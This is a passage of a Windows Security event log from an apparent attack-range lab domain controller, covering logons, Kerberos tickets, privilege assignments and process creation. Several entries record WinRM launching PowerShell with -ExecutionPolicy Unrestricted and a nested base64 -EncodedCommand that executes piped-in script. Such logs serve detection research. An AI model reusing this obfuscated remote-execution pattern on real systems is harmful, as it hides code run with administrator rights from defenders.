UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250375 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x107F9E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10fc - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x13d4 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250374 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10829E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250373 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10829E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAA67AFB-3021-4172-D612-68D93CA3CCF8} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250372 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {DAA67AFB-3021-4172-D612-68D93CA3CCF8} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250371 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {DAA67AFB-3021-4172-D612-68D93CA3CCF8} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250370 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250369 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x107F9E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13e4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x13d4 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250368 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x107F9E - -Process Information: - New Process ID: 0x13d4 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250367 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x107F9E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250366 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x107F9E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAA67AFB-3021-4172-D612-68D93CA3CCF8} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250365 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {DAA67AFB-3021-4172-D612-68D93CA3CCF8} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250364 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {DAA67AFB-3021-4172-D612-68D93CA3CCF8} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250363 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250362 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x107F41 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250361 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xF0185 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250360 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x107F41 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250359 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x107F41 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAA67AFB-3021-4172-D612-68D93CA3CCF8} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft 